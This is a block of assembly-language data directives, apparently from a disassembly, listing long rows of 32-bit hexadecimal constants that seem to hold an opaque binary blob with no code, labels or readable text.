dd 35DDA901h, 5AC99A0Eh, 1EAC3730h, 804456BAh, 0EC8DB415h
dd 0AD001267h, 0F1BF8128h, 0B83AE669h, 7F7600D9h, 65664A9Ah
dd 6E015E6Fh, 89AF4F15h, 0EEC887D6h, 0BBFA62h, 50540DABh
dd 5D6308A0h, 0A2FDAA00h, 0D05EA1F8h, 76070F09h, 5360E649h
dd 6F362BFBh, 95BCC31Eh, 809FECC9h, 0F073B2C8h, 0D45E1E3Ah
dd 143C802Bh, 685AFC25h
dd 2474E2F0h, 138B2D00h, 0E9E71271h, 0F618007Bh, 0E6567AEAh
dd 0BA009EB8h, 685FF91Dh, 0EC411038h, 3B7C7Ch, 11FB6A63h
dd 0D44CF398h, 0C5EDF600h, 49CC96E4h, 308700ADh, 0C34E591h
dd 6300E118h, 0A82761FFh, 712853CDh, 41CE0009h, 847B5A3Dh
dd 0BB0032E5h, 0D13987E9h, 3BD99E03h, 0F505223Ah, 4A0A06CFh
dd 0A0BDDCh, 0F1EBCDA3h, 2F445213h, 0C5B00BFh, 0A25A4BDh
dd 0CE00C18Dh, 8816D9D3h, 0F798EF8h, 0F01853FFh, 38402880h
dd 3D004EE2h, 19D3E1ADh, 12532529h, 218CD903h, 0C033AC0Ch
dd 0F800FF36h, 98096A37h, 0DAE39h, 2AC3E9E0h, 0B8DFED63h
dd 0E3271E01h, 8904F6D8h, 0C4EBC8h, 1D32A3B5h, 72AF8308h
dd 0A6D43000h, 6739CB97h, 76F9004Ah, 9C232933h, 4878083Eh
dd 38DC60C0h, 39F0AB1Eh, 0F800E283h, 7B46E6E3h, 0B076885h
dd 3686423Eh, 0D1F206E0h, 0B99D00BBh, 4B9F75E4h, 32007C41h
dd 0F4888234h, 772AD36h, 0CDCC4F91h, 442A90E0h, 0D4A1ACE6h
dd 0AACBF443h, 0A8F484F6h, 0EA809E03h, 0C7A1ADA0h, 0F3552440h
dd 0A970001Eh, 44F96DD4h, 9400F8B1h, 0BE460A7Eh, 7BBF5Eh
dd 0ADC46272h, 0F65B790h, 0D8C5DE2Ah, 9C7F8A00h, 96677C4Ch
dd 89E44Dh, 0E206D44Bh, 7723B753h, 0BCA8D60Fh, 0E0D92E69h
dd 75E329F9h, 38DF00B4h, 7F55E40h, 420092FFh, 0EA4F9A65h
dd 0EEF019h, 0B96D6B4h, 1354B7Dh, 0EFB97109h, 6D8E001Dh
dd 3D420644h, 0ECC8433Dh, 0AB0E2C39h, 0A40E6EE8h, 4DC60880h
dd 0D80376DAh, 0ED77C74Bh, 0DC86E8E2h, 70F7010Eh, 0B568E601h
dd 0E809D1D9h, 6404E302h, 0AD40B4A1h, 0D80BC87h, 9683387h
dd 9BB64D7Eh, 53A86007h, 88B81E9Ch, 0B801373Fh, 4D7450A0h
dd 2820346Ah, 0AFD512F7h, 0A25C0032h, 17547508h, 0DE244892h
dd 108340D0h, 900DFFA5h, 90E0158h, 6A958660h, 9D1E7820h
dd 9800A8BEh, 48D53780h, 67E23Fh, 28428A2Ah, 617DFFE7h
dd 0B6FA8F00h, 70DFE402h, 0BE8124D7h, 51248764h, 9A85008Eh
dd 0EC0030D2h, 944DE6BDh, 1407AE5h, 24C53D8Ch, 0F4817B62h
dd 5A03E7AEh, 4EF880BAh, 47259875h, 9760C30h, 0EC18BB49h
dd 8A5E1700h, 0D38D3E58h, 615133AEh, 5BF0C540h, 0FA005C8Ch
dd 0C47F7933h, 57BDE1h, 703DB8C3h, 0D7F1883Eh, 0BFA6DF00h
dd 94FE6E60h, 0FF690073h, 35BC1249h, 0F31E405Dh, 0E680C029h
dd 3786B9EBh, 27560065h, 69D576AEh, 0F902BE11h, 708910FAh
dd 9844402Fh, 0A2910050h, 81DE3C31h, 1700BB07h, 83898465h
dd 2DE8BCh, 1121FFB1h, 6437B57Bh, 0E3A82000h, 2235A63Ah
dd 0D3D000E7h, 0B770CECAh, 0F400ADF7h, 2E826CD6h, 3AFC84h
dd 6604D1A2h, 0DA0E1753h, 487A39h, 35980760h, 0B03F436Dh
dd 0C06B03E9h, 954FD6FDh, 0C518EA02h, 4966C1B5h, 99E8C754h
dd 0FF9009Bh, 50566144h, 4214F2C9h, 0D0EEDBh, 0D99BAF65h
dd 80836Dh, 59DEFBB1h, 0C8E27C32h, 7B293Dh, 9AA119E3h
dd 0D58535h, 2EDAFE0Eh, 50758B63h, 2AEACD00h, 4276B9B7h
dd 317F690h, 6ABD4D9Dh, 4AE05C48h, 0F500DDA0h, 19206C98h
dd 7FD347DCh, 0B87D00DEh, 0BC507D9h, 8100CF21h, 0AF6A784Ch
dd 0ADA903h, 3693B01Ah, 0B6E9676Bh, 0D6EF5200h, 14E19781h
dd 359F0D8h, 46238D62h, 5D81C64Eh, 0E87AE53Ch, 0D200830Dh
dd 0F769A2E2h, 17AC12h, 0DBABEF53h, 0D8DAE662h, 1F3E2A0Fh
dd 0E31C8E7Ch, 2B6C648h, 4A30E5C2h, 0D180A7DDh, 0F373AA29h
dd 0AF5EC800h, 1DFF2EB1h, 39F698h, 9BCFC17Bh, 0A34B19B2h
dd 6F4A7100h, 385D8A0Ah, 836000F4h, 486CBB3Ch, 0C37F3FAAh
dd 30B21E1Eh, 9F3F9CDEh, 0EF8047D4h, 0F625CA5Eh, 0ACCB042Eh
dd 0C24C6D0Ah, 4BE28A44h, 0C6A78200h, 2B004D62h, 2018512Fh
dd 999D1Dh, 0B2A69106h, 1FEB108Ah, 0F98D4E00h, 0D1B08489h
dd 0D62B00C2h, 6A42A749h, 601139Dh, 0DBCD6F96h, 0BBC4DF3Ch
dd 60080085h, 7A7F2103h, 431C1B97h, 1E4F7781h, 426503E6h
dd 0A19990DAh, 0C241C0B6h, 7A2FBB76h, 18BD6100h, 803C87A3h
dd 0DEB0073h, 0C0D12CF0h, 80B58307h, 7B750B54h, 3B223D24h
dd 8800443Bh, 6AE52787h, 3000A06Bh, 0CC6F92B1h, 0E18D78h
dd 7A7B09DBh, 6B1C011Dh, 821A340Dh, 0AE8E0C7h, 96D03F2Ch
dd 589874h, 459BA885h, 0A3C78DC4h, 24003890h, 329023BEh
dd 8FE9FFh, 8B054031h, 151292ADh, 0C89430Fh, 7A4C6013h
dd 15B3F1Fh, 62561C7Bh, 0D5546624h, 57933020h, 0A15CE8FEh
dd 0C9F61D24h, 0BF8850B8h, 0C4B25C18h, 1074871h, 0C7CC76CAh
dd 31D41E40h, 6442F011h, 151DEA0Dh, 0ACE0288Ah, 868B00E9h
dd 0C403FEB0h, 74053671h, 0D9F0E694h, 0F5EA80FEh, 2F7BA3C9h
dd 8361C06Fh, 0B18268DEh, 49F8DC92h, 116A6006h, 0AA8FFB64h
dd 80D9783Fh, 2CF98A1Eh, 548DE995h, 7BC42849h, 0E1D900D1h
dd 503FF2ABh, 443D0456h, 1B338113h, 741FD6D5h, 32B4570h
dd 0AB8DDAC1h, 28FB4092h, 0E2C27F88h, 0EB8E3E09h, 0C34E00D9h
dd 1E4FB14Bh, 0C0249E65h, 0DB6D481Dh, 0D3B0428Ch, 27AF5F00h
dd 989DACB6h, 0E8CBE402h, 537D00A3h, 74E90AC9h, 1700D961h
dd 0ED7C7E47h, 0F358F6h, 3268284Fh, 739CAF24h, 88514200h
dd 252DF9EAh, 0D0D968C7h, 0F004238Ch, 0DC60EE22h, 0B48FE810h
dd 0CB090EE0h, 0FE20457Ah, 5FE6C499h, 77CD0E0h, 67F5C007h
dd 2CC10405h, 9F474649h, 0E019EEC0h, 2C9E502Fh, 0D1203F8Eh
dd 7250E1B1h, 18A0086Dh, 29DC78F2h, 9D75262Ch, 0F267BCA1h
dd 0F6ED80DFh, 0F5EAA576h, 6ACAAECh, 48BAC931h, 0AD5461E3h
dd 0DE403460h, 9C9D188Eh, 3F9F1989h, 5A8711Fh, 93F6C642h
dd 7D7098AAh, 7B9480F5h, 34AD63Ah, 0A44805E2h, 0B5E810F0h
dd 0AE61F04h, 0C98047DEh, 0F364B072h, 78C34479h, 0F8ABE315h
dd 0ED48804Ch, 7C25D5EFh, 453E1874h, 9EFCA973h, 31C79C22h
dd 0B6F8FA8Eh, 42A89EC8h, 38FD3B8Ch, 0E5C03071h, 1AA39FC1h
dd 39C89E31h, 8EE84AE9h, 0C5C4841h, 8246677h, 840021CFh
dd 0F6C9F02h, 3CC4732h, 0A864FF97h, 689E7F29h, 364CBD34h
dd 4E2BC07h, 182083A3h, 6819D210h, 2972B0E4h, 201BC8A3h
dd 398DBFBh, 0C8DCA3C9h, 5040D579h, 4D60EDE4h, 3A6F340h
dd 146F12ACh, 7C1C0178h, 40FD7155h, 0EEDD89B8h, 0F4615612h
dd 9A9C3040h, 0F347B5h, 6635E223h, 2B3DA7E5h, 8C00D37Ah
dd 0BFAD9AD7h, 511FF9h, 390171B4h, 4D926948h, 80167938h
dd 8C88D6CBh, 0C140ECh, 36552077h, 0B8EE5A29h, 84C76300h
dd 4BED7BFEh, 1E2B00D5h, 2E3A44F4h, 0C500BF9Fh, 214362EEh
dd 0C6D282h, 766E0993h, 925229B3h, 0B6475600h, 0D670CC41h
dd 258C07D7h, 0E0C726F2h, 0E276F4DEh, 8E69BC1Fh, 0F70D6680h
dd 3ECF649Bh, 0C507B1DDh, 0D0EF372Dh, 28074F58h, 248DA500h
dd 25DDF365h, 64260018h, 0EE0F8BD6h, 91005FA7h, 0A14045A9h
dd 68174Fh, 0C0BD5D29h, 54FB1423h, 9D09B303h, 0B8F524h
dd 0DE078E20h, 57F9D4B0h, 0EE3B7F00h, 0A4A152CCh, 0C76E18DAh
dd 7582841h, 0AFCAA300h, 0CDB5F4A8h, 15578CCh, 41BAD31Ch
dd 0FC73905Dh, 470FE6B3h, 0A37EC4FFh, 4D215Fh, 0FB5BD841h
dd 0E5E1ABB9h, 0DDECCF07h, 0F500B6Eh, 7910A633h, 0DA731816h
dd 0B2CE807Fh, 9C254B07h, 38D09A66h, 0DFD0EDh, 0E137CB7Eh
dd 8CC16AE6h, 4F9C5B00h, 0B919C810h, 79D23AA9h, 0DDA45900h
dd 0B263F36Fh, 0C31B3Fh
dd 5A246836h, 0C496E7h, 9163E90h, 288A947h, 91ABDD18h
dd 0EF2530h, 6C065CA4h, 0A6AEA38Ch, 10F118C3h, 91500012h
dd 780A7F7Eh, 600F5D37h, 806AAE86h, 6C844311h, 5C243C92h
dd 4E01CC40h, 3F86789h, 8BD03412h, 6BA018FAh, 64DF7183h
dd 26D1A900h, 9D1F16A5h, 5C211C7Dh, 8DEEC058h, 612C1207h
dd 780074FCh, 0EAA4E5E8h, 107DA2h, 454CF3FEh, 15B28BB3h
dd 0C36B8D00h, 7C239616h, 630FF206h, 172EC907h, 0EF561806h
dd 0E065D8h, 0E0276AC9h, 93A1F6D2h, 0B9698433h, 2535F8BDh
dd 88080E67h, 0FF80E123h, 7AFBE7C8h, 241F287Ch, 0DA033E18h
dd 390FC95h, 435F1618h, 0C0E53D87h, 0FDE8A1C9h, 0B1CD2217h
dd 3A2100Fh, 90835737h, 0E7DC6DBh, 764EE275h, 2023BF86h
dd 1ABD9600h, 370E0B47h, 32C906C3h, 4057EA2Ah, 293CFA01h
dd 826B5F20h, 691968B6h, 2B02D146h, 66DB3B84h, 21B90331h
dd 0AB1AD100h, 0AF455BE5h, 9422A900h, 84DDDC73h, 0A3D0C492h
dd 5B6BC3E8h, 0C20068A6h, 2A2B1140h, 31103B9Ch, 56083421h
dd 0E12080E9h, 0BF6E1154h, 1B5D0018h, 6BFA1CB3h, 81EEEF28h
dd 0FDDCB0C7h, 0A4427905h, 0C0BE50Fh, 95F02FC0h, 8102460h
dd 482F4h, 0CDD180E6h, 8D41E96Dh, 0F6DC140Ch, 7B2E12F5h
dd 0C7030059h, 8EC1BAE3h, 0EAEC90A4h, 0F2DAB90Fh, 4E2AC070h
dd 6B92FDh, 8B69317Fh, 6250C130h, 0BB057300h, 0D6B988FAh
dd 0F2A726Eh, 17DDB82h, 2EF1AE00h, 5360D773h, 8D0F0232h
dd 764FF06Dh, 0A8CAA39Eh, 5D3E68h, 2DF4C84Dh, 0E13A48B0h
dd 78FA7600h, 0E5ED280Eh, 0B7EA0079h, 0BCEBF11h, 777B8FCh
dd 2056E600h, 83B22119h, 411D10Eh, 10F7DDA0h, 748810C3h
dd 3124C0B1h, 20C70053h, 2C76EF83h, 0A9F8D484h, 1594901h
dd 0DE67D890h, 0C5DF2888h, 85F26184h, 0A5426D08h, 0C4FB2275h
dd 21135D23h, 6B108151h, 0C3C478Ah, 6551F55Dh, 66B32284h
dd 44296360h, 6C1B55h, 511222CFh, 7CE1E4A2h, 6DDFB500h
dd 0FAB2B63Fh, 0B9E90385h, 645F0F68h, 30342EF0h, 3B397AFAh
dd 46810387h, 98289AB6h, 1849C15h, 0A69EC2B0h, 0C499834Ah
dd 74002E38h, 60C67CB9h, 3D189h, 0A7B096CAh, 8A7F4748h
dd 0EE791700h, 0C7F7AF34h, 0B70A037Bh, 0B43DE2CCh, 40279DD1h
dd 5705B1B8h, 0F5808C03h, 987ED6D4h, 0CEE30Dh, 0CD2CF7AEh
dd 0D0694614h, 0BF0010DCh, 1E22F465h, 0CEB40F3Eh, 32822C9Eh
dd 0E4A1BD25h, 60A3A14Fh, 1DF85463h, 518CE503h, 0C88BF4BBh
dd 983A36h, 4347406h, 0CF8B79Dh, 32F5D30Fh, 4B6DA018h
dd 0FAF3BE57h, 0BA65078Eh, 13B616F4h, 0DCC092BDh, 0C200B5E4h
dd 91D76CB9h, 7642EA2h, 0CC7C9FACh, 0F6502042h, 0FE2636E5h
dd 0BF3D1F11h, 2526808Dh, 241FBDC5h, 0AA9D3C69h, 1C010E93h
dd 56641DCh, 0E447B8C8h, 0B90E0F4Dh, 0C0D52554h, 0B095F250h
dd 0C235003Bh, 9D5D9E60h, 900B1A6h, 0AD8C380h, 0FBD9CFh
dd 0F4974377h, 8C745C7Dh, 33302801h, 5ACA8D6Bh, 0AFBCE8h
dd 0EEDEB0DCh, 0FD3A38A5h, 0C4A0C67Bh, 6600F6B3h, 45C7BB48h
dd 594187h, 0FE517895h, 6722CB91h, 0D401EE00h, 0F83323DCh
dd 0BBD8009Dh, 0E7E593CEh, 3F035197h, 0EB7B235h, 4824BAB4h
dd 0EAA761Ch, 376D4A7Ah, 8FF7BB47h, 64E4DE40h, 100413Dh
dd 7943926Fh, 24254C42h, 0FEE7CAh, 2A907BCCh, 0FC065CB5h
dd 0E010C0AFh, 0AE380010h, 0C5E112ECh, 0E8120CC1h, 0E009D7A7h
dd 305018C3h, 0C1D9005Ah, 815D58EEh, 84002405h, 947934E4h
dd 0A6D8F8h, 0F0A70928h, 7BE38F4Eh, 2686D60Fh, 0ACC0AEDEh
dd 217172h, 28FFCD25h, 2B99F4BEh, 0FA48CEE6h, 0F8560091h
dd 51C93730h, 0FF3C0783h, 20933885h, 8E817CA8h, 46CE8201h
dd 21F4505Eh, 3DEC95CCh, 9A00D7D2h, 0BFD31792h, 2006F1Fh
dd 9636E368h, 2428300Bh, 681EBDh, 9484216h, 873F88DAh
dd 0ECBF8797h, 0CC907AA7h, 0E083D0B8h, 1BCE00D3h, 0B2A04249h
dd 0FA00A4AEh, 5190DCCFh, 4CD81h, 63E210C2h, 5CC83F0Fh
dd 0FC45B500h, 0DA18CA4h, 0AB5400CFh, 89DC23D7h, 787BBD38h
dd 16D93B33h, 0F44F88F7h, 0A10401F6h, 7770205Bh, 89B7E4D5h
dd 603D685Ch, 96095F20h, 2544005Dh, 82108BB9h, 0C800244Ah
dd 16AC9E4Eh, 0A7E3F8h, 3216CAEh, 7B468B37h, 12384A00h
dd 0CB9F40A6h, 0F7EA03E2h, 26D80E16h, 78DDB2C0h, 33C28C07h
dd 1930E918h, 0C51F31h, 5A69162Ch, 7AB6523Dh, 9F81620Fh
dd 59EB41h, 4B8F81Ah, 9B5A0005h, 0D334F46Fh, 28C07BB2h
dd 51ECB3F5h, 82E100EDh, 73B957B0h, 7200CCE3h, 56FB5A04h
dd 72E7A55h, 0AE08D916h, 9629A0B5h, 3B006F1Ch, 97DD1A03h
dd 14317EF0h, 0F21F2636h, 0BB6C12h, 0E9B18C58h, 66053C9Bh
dd 7495B8CBh, 7C32F000h, 3CDEF91Fh, 0D480613Ah, 278757CAh
dd 6A009ADDh, 0F54C457Ah, 31048E2h, 4D9F1379h, 0FEA08292h
dd 96037593h, 814903ECh, 425EA009h, 0EB5A009Ch, 47A36315h
dd 0A809377Ch, 0D824C9h, 0D6126039h, 465F0080h, 8DC092CBh
dd 810070BCh, 3C740B07h, 9352896h, 452AB46Dh, 85D46780h
dd 2200F70Ah, 9CE3E86h, 78B9ADh, 2EB2088Fh, 0F84FC68Eh
dd 5AE01F00h, 0BA35470Ah, 1CF500ADh, 9B0659C4h, 0AB0030DBh
dd 0EE88B74h, 5F44AFh, 0F583315Ch, 5316BE6Ah, 0D1528800h
dd 92071B8Fh, 0A1039015h, 7BF0F76Fh, 73E101A4h, 0FD58A845h
dd 1B0BB47h, 7D9EDDE8h, 48E008F6h, 2682ECBCh, 0D3B0DEh
dd 490D36F1h, 6D0004D3h, 174421D2h, 59BAA5E6h, 6B0F04C5h
dd 63C1D7D4h, 20C8AD56h, 9E2C0408h, 7040C7Ah, 10D07C82h
dd 0CB6B1h, 42212A2Dh, 46AB9E3Bh, 0ED968803h, 0D0CB9948h
dd 24C27BCEh, 249D86h, 0B6F63671h, 42002FD2h, 519906EAh
dd 1E2128B1h, 0C0C4B70Eh, 1833E7Ch, 34E395DCh, 161DBAB0h
dd 0EB40280Fh, 0DF8B59D5h, 0B2DD0040h, 3FA5E7E4h, 0AB00AAA2h
dd 0B7F12C14h, 0EEF78B05h, 0B430FF68h, 0B68E00D2h, 8FE9E5ADh
dd 0D448C244h, 20D303B3h, 90233633h, 0AB0B239h, 0BD487B0Ch
dd 407C1FC1h, 526A1F78h, 75286227h, 0C300809Eh, 4EAA0E05h
dd 0A0FC58h, 8933A991h, 0F240E916h, 4AC7B70Ch, 36D21F5h
dd 98C0A407h, 7C1E85AAh, 0EF402E63h, 0A26CCA32h, 0E37320h
dd 0B6DF2D4Fh, 7CF9EB8Bh, 93D24600h, 30038CCAh, 57BE0059h
dd 9F3B770Dh, 37734487h, 0EF12000h, 0D57AF803h, 0A2E60B85h
dd 787255Ah, 0F6571012h, 0AB165B39h, 660049D0h, 0A982A801h
dd 966707FAh, 0A14C5581h, 0F485DC76h, 1F50E702h, 0F30ED895h
dd 1712C3CCh, 2DBB1C00h, 1B09733h, 875B2F78h, 0E5887F32h
dd 38DC4D0h, 40189400h, 72782B34h, 86C400BAh, 1DB51795h
dd 130169D2h, 4EB90D2Ch, 0A04004F9h, 1748EF97h, 2089B49Fh
dd 310FC074h, 200018DDh, 9799E52Eh, 5EBF1682h, 7DC000ACh
dd 2588F2E3h, 0DFED1900h, 30A0C88Eh, 0C49E00E4h, 581A264Bh
dd 38E86493h, 5076D5EEh, 3B7FE901h, 0D02E653Dh, 0C5F81E8h
dd 0D622E1FCh, 17E01F20h, 0DBD17318h, 0AFDA10h, 1A3CDE84h
dd 6303233Ah, 3E01477Dh, 0C0FE01B8h, 0EBC870A6h, 0B44E005Ah
dd 0C996764Dh, 0EE00EA49h, 6EED5546h, 7FF273h, 0E2D96856h
dd 22867790h, 0C04FDD00h, 74DC82C9h, 41800013h, 8DB50E89h
dd 7E7744D3h, 7C85B401h, 0C3940439h, 71F8F4h, 605B6519h
dd 0D50EBF61h, 7300A67Bh
dd 0AFEA8817h, 18CC1E7h, 0C6EC0C18h, 0C30A2630h, 80E9800h
dd 0F9C1CD05h, 9F7E00CCh, 0DF91FD34h, 0EA06A919h, 2FF447F1h
dd 0B1400E8h, 96F7BFB5h, 0F80076FDh, 0DA900F9Fh, 0BD9E7Fh
dd 8B665A2Ah, 3FA42924h, 0E57D9301h, 0B3E2DE8h, 0A1E960h
dd 5780ED05h, 807AF44h, 0A20EF300h, 95902486h, 8A030652h
dd 0F8BCD656h, 1207701h, 47B5D355h, 7A8BC4h, 0B38DF1A5h
dd 0A494B0EFh, 22998500h, 2272951h, 66FEECh, 0B1E4A8FFh
dd 0AC05CC06h, 10F77430h, 0F1B69h, 0F6E985FBh, 0EBEEDAD8h
dd 0AC185C00h, 2E3721C0h, 8984249Ah, 70A70000h, 0E9880C19h
dd 228FAB03h, 0B0C41506h, 548A2EDh, 0A924BD65h, 7BFDC3F6h
dd 0F13A5A98h, 0EB46350Eh, 0CFED0017h, 3B6832Eh, 6FF79AB8h
dd 99B32375h, 4F043AA0h, 6A8C10C0h, 0CF133Ch, 0A2C44314h
dd 0E8961658h, 40EFEB00h, 0CE796089h, 0F89F0152h, 74DEEECBh
dd 7A09D023h, 0AE47E900h, 0DC99A457h, 5D830002h, 743485Fh
dd 0A7000418h, 976D771Bh, 0E67053h, 7D3AACC2h, 0B360929Ch
dd 6B7B8200h, 2F29B08Dh, 76787CC3h, 0E3B8A979h, 55D970h
dd 48BC2C77h, 0C1E27590h, 600FA401h, 1A86D776h, 9971F8h
dd 3719EBA7h, 7BFE9A41h, 5F486474h, 0E7067EACh, 0CC8BBD32h
dd 88E810h, 96799F0Fh, 0F43E3BA3h, 43BC3203h, 0A8B185F5h
dd 1EE3C742h, 0C07C9931h, 8C0FAA2Fh, 306D691h, 0B17549F3h
dd 6125004Ch, 115D3DCh, 2E008448h, 0B36C8BF1h, 8D8A41h
dd 4224542Bh, 681E0277h, 0AE716503h, 0C80FD9E4h, 1D0D8721h
dd 802C9A32h, 5F5CBEABh, 0D57FFD2Eh, 414FFC00h, 60548D38h
dd 0AAE81C35h, 7BB1C3CFh, 59986B87h, 0B500D783h, 252B5720h
dd 8AFE0Ch, 0AFE7C889h, 43F44515h, 0F4EDE224h, 2AA2F300h
dd 0FCF82366h, 41310B1Eh, 5801376Ah, 0D43FCE50h, 0FD00C3C7h
dd 70672AAEh, 4CDA70Ch, 5549B0AAh, 5ECC80FCh, 0DD0C7A59h
dd 76F471F2h, 0BED2014Eh, 358B44FDh, 2805E7AEh, 0E958E2BFh
dd 0B300BEBCh, 1E5AB51Dh, 813995Eh, 0E71Ah, 6E0D3851h
dd 737ED6h, 84892C67h, 0C6B7804Eh, 64417407h, 6E30D983h
dd 0A6B9EC4h, 38EEC123h, 77D800ACh, 0BFD099F4h, 942D7800h
dd 1830DA6Dh, 12B10066h, 0C3DB1DBDh, 20254BEh, 24DD4B11h
dd 513C4091h, 145602B8h, 0D297C16Fh, 7366A880h, 93079F1Bh
dd 9EC60876h, 55BE67F0h, 57E82C0Dh, 0AA9B00B5h, 98966C37h
dd 0C6739100h, 1A8F3D69h, 0A097601Bh, 9412224h, 96D1CE39h
dd 0FA1EEAA1h, 2A007B53h, 6F2EFB85h, 9F700F3Fh, 42E076C3h
dd 86983447h, 0F4E79707h, 6EB161CCh, 71FC8B01h, 0FEEA0268h
dd 0E4480737h, 0ED0CA840h, 66284300h, 0F401E724h, 13A8EE13h
dd 0F82017h, 3A27B82Ch, 962C9789h, 0C9187746h, 12541F8h
dd 9E19C1CEh, 40BA1E80h, 0CA4DDEDFh, 3FEEED00h, 0B583AC7Fh
dd 0BD878C5h, 6280653Bh, 600860Fh, 98606E48h, 8AB1EB00h
dd 9399C7Eh, 9FC100C5h, 7245CEE4h, 2098FEDFh, 42BEFB10h
dd 488692Ah, 11EACB0Fh, 1CC2804Fh, 61025552h, 0D9135C5Dh
dd 0AC70C107h, 170CEE60h, 48A2C7Dh, 0C083D799h, 90D51910h
dd 0E034F00h, 0A473ABC7h, 75501E7h, 0C29977F3h, 81DED854h
dd 0B1E99C00h, 43649E6Ah, 40130009h, 387AEBD2h, 0E100606Dh
dd 7976A4ADh, 0B86BC0CAh, 6AD51FC9h, 99531Bh, 4A9490C5h
dd 3C00AC81h, 6E501E05h, 0ED0F0Eh, 3B385C89h, 0AAD2960Ah
dd 7E0C5A00h, 0F20E508Dh, 628B2664h, 0C1107D00h, 3CC91AB0h
dd 0A401062Ch, 0BF5D0F41h, 6EB1420h, 57AB9C73h, 0FF0210C8h
dd 46E7DDE0h, 0F3C4609Ah, 21437FC7h, 0C800A0B3h, 0FC5CF9E8h
dd 0AFC3003Eh, 0BBB557BAh, 0A276B7E2h, 0CC707800h, 62E52408h
dd 8790095Eh, 83716Fh, 0B6A029DEh, 0D0160FA8h, 5400AA92h
dd 520A8562h, 5FB40010h, 21F26DFDh, 60E9D9F6h, 33019B8Ch
dd 0B7FAE5A0h, 0C300F02Fh, 0C41E09A4h, 7A57D1C0h, 0E3280800h
dd 0B921762h, 0CAD07216h, 9AD54400h, 90031CE0h, 4A78E471h
dd 47181E82h, 37ED805Fh, 0F6C2AE24h, 0C0071B8h, 1B4D44EBh
dd 992E2BAh, 1D516769h, 0E08B9780h, 0EE003A4Ah, 210325FAh
dd 0E46ECC7h, 595F62DBh, 0F56DDF60h, 960B1F7Eh, 2052B9h
dd 0BEC17055h, 0FF9E2CCEh, 6646034Eh, 68F03C02h, 0B0A04A42h
dd 2D004079h, 0EFE9F643h, 7E344C9h, 275CB92Ah, 853F924Bh
dd 0B6A04860h, 30D4AC00h, 0F5AABF4Fh, 460F0022h, 0BB49F0BDh
dd 45F441EFh, 0AE936113h, 5A9C3800h, 0F0F369BAh, 27780E0Eh
dd 4033C9FFh, 231ABED8h, 6E173D38h, 0CCE02E61h, 0F1EE0A7Eh
dd 0D0A0A7h, 753F37AFh, 4013C81h, 4938A2F4h, 4AFCDE2Ch
dd 0FDB800ECh, 79F51A12h, 0ED00DFD7h, 0FEC5B660h, 0E7A6507h
dd 4B52C4Dh, 64BBC9C0h, 0E0B21C46h, 74B1B00h, 0A573D0F4h
dd 0C215CA9h, 5037C5Ch, 855754C9h, 0D840BF8Ah, 6E248A5Eh
dd 0D500ADD3h, 0A246B48Dh, 0CFA03E1h, 0D941585Ah, 0DB917790h
dd 0DC39FE00h, 0B13A3B3Dh, 0CD493BE2h, 0C0C7EE1Eh, 6F31E699h
dd 930F5BCCh, 0AFD3AC25h, 203043EFh, 5827A89Ch, 0C7E28Dh
dd 0F039D6DFh, 0A2165D81h, 0B565EE00h, 32E39F9Bh, 290B8A4h
dd 0F2942856h, 0E060795Fh, 0C400B61Bh, 3C4073BCh, 123A1D4Ch
dd 5BE59Ch, 0A42489FCh, 0AC009F29h, 98DFA01h, 0F257021h
dd 40E705B4h, 0E780B90Bh, 0CD6D784Bh, 0C8358900h, 0AACC4A1h
dd 6CE261h, 31442148h, 0E98CE2B6h, 0D3F3F600h, 60BDFEACh
dd 0F4510019h, 855CBEDh, 661D8469h, 0A91E5A8Eh, 6E2C803Bh
dd 3CEF9D94h, 48051F7Dh, 5EE400A8h, 2AE5C5C4h, 6ECC5618h
dd 219330h, 7AC9D08Eh, 75115267h, 1E88B300h, 0F94C8BE3h
dd 9406117Bh, 0E63C00C9h, 9590C4F6h, 0D12A288Fh, 7C61C33Ch
dd 19B89328h, 0E9B06275h, 0A40D5A00h, 351339ECh, 8FA83042h
dd 95056930h, 50DBC933h, 0AFBE9321h, 28BEE2C6h, 0EAD7163h
dd 6D67FB58h, 24AAEEC3h, 32C2E4A8h, 0CF6E141Ch, 0CDD1F504h
dd 0D974DB80h, 0EA3ECF8h, 0C95E5F9Fh, 1C3908E0h, 0E4000AB2h
dd 76245D84h, 0FCC0493Dh, 73943E82h, 2A05DC80h, 86E01B3Eh
dd 0DFD55F00h, 6776FDA3h, 7FF2F06Ah, 0C2E20EFFh, 65C01F9Ch
dd 0F733AB9Dh, 418CA11Fh, 1D813D83h, 77660904h, 0ED00B3D6h
dd 5278021Bh, 0EA5DE71Fh, 9E535B8Fh, 80157D09h, 0DFE6BCD3h
dd 44323D07h, 4DF2007Eh, 3E18CDEDh, 0AB000E27h, 0CC041CD2h
dd 27496E0h, 5FDC33BEh, 5540C2E3h, 870AC1A5h, 0A8E6C5C9h
dd 0B4F53687h, 0F6EC4CE0h, 12FF0030h, 48C4D722h, 9A008E91h
dd 2FB0737Dh, 19BB2CAh, 0CD34EB8Bh, 0C80EC8F7h, 0D903B7DCh
dd 86C99009h, 1CBC008Eh, 0B63D1E3Ah, 0CB029A78h, 83E6029h
dd 0A20F4086h, 35B4001Dh, 0EAAD2B31h, 300EB7Ah, 0C387F9F6h
dd 150BDDh, 0B6751E9Fh, 681D8B93h, 6B744E07h, 0F981A083h
dd 5170A603h, 18970048h, 4F945ABDh, 1E003C4Dh, 9C02E401h
dd 798A9CCh, 6BA1997Bh, 0B8095060h, 0E300AA7Fh, 0C834C611h
dd 4C89AEh, 0ECFBDC67h, 0DDACEEF4h, 3DE1EF00h, 784008EAh
dd 3EFCD1h, 0DFF27B3Ah, 37FF628Ah, 0F4A6CC00h, 8BEFCDEBh
dd 0F0B90115h, 5230504Dh, 2469E158h, 0FF031A70h, 2ACFC32Fh
dd 0C11AD22h, 2433FC04h, 0EB0C648h, 2D209DB1h, 4553F5A8h
dd 46CC0200h, 5BDBCFA9h, 50B60133h, 25B003F3h, 3729909Fh
dd 48C1F984h, 290A427Ah
dd 22441B22h, 0CE246A81h, 132C9321h, 6044D49Fh, 42F2486Bh
dd 832528F1h, 16AD3C04h, 4A53A644h, 67101475h, 0AA447788h
dd 12012B21h, 0FF5082CBh, 2FE2593h, 2E408C14h, 2721CF04h
dd 11E212DCh, 0C0B30879h, 52BFEF79h, 8812C2A6h, 0DF070337h
dd 81E06310h, 0E3C673h, 0F659D0EEh, 69E20C19h, 4265FB07h
dd 0E830D14Eh, 0EA336A9h, 0EFD57702h, 28B5E740h, 18F24774h
dd 480F5800h, 16C2B0B8h, 809A00BFh, 0D26157D4h, 44E2D7C3h
dd 8368AC00h, 0A2857E11h, 0B12C2625h, 543B0EB6h, 0AFAB807Dh
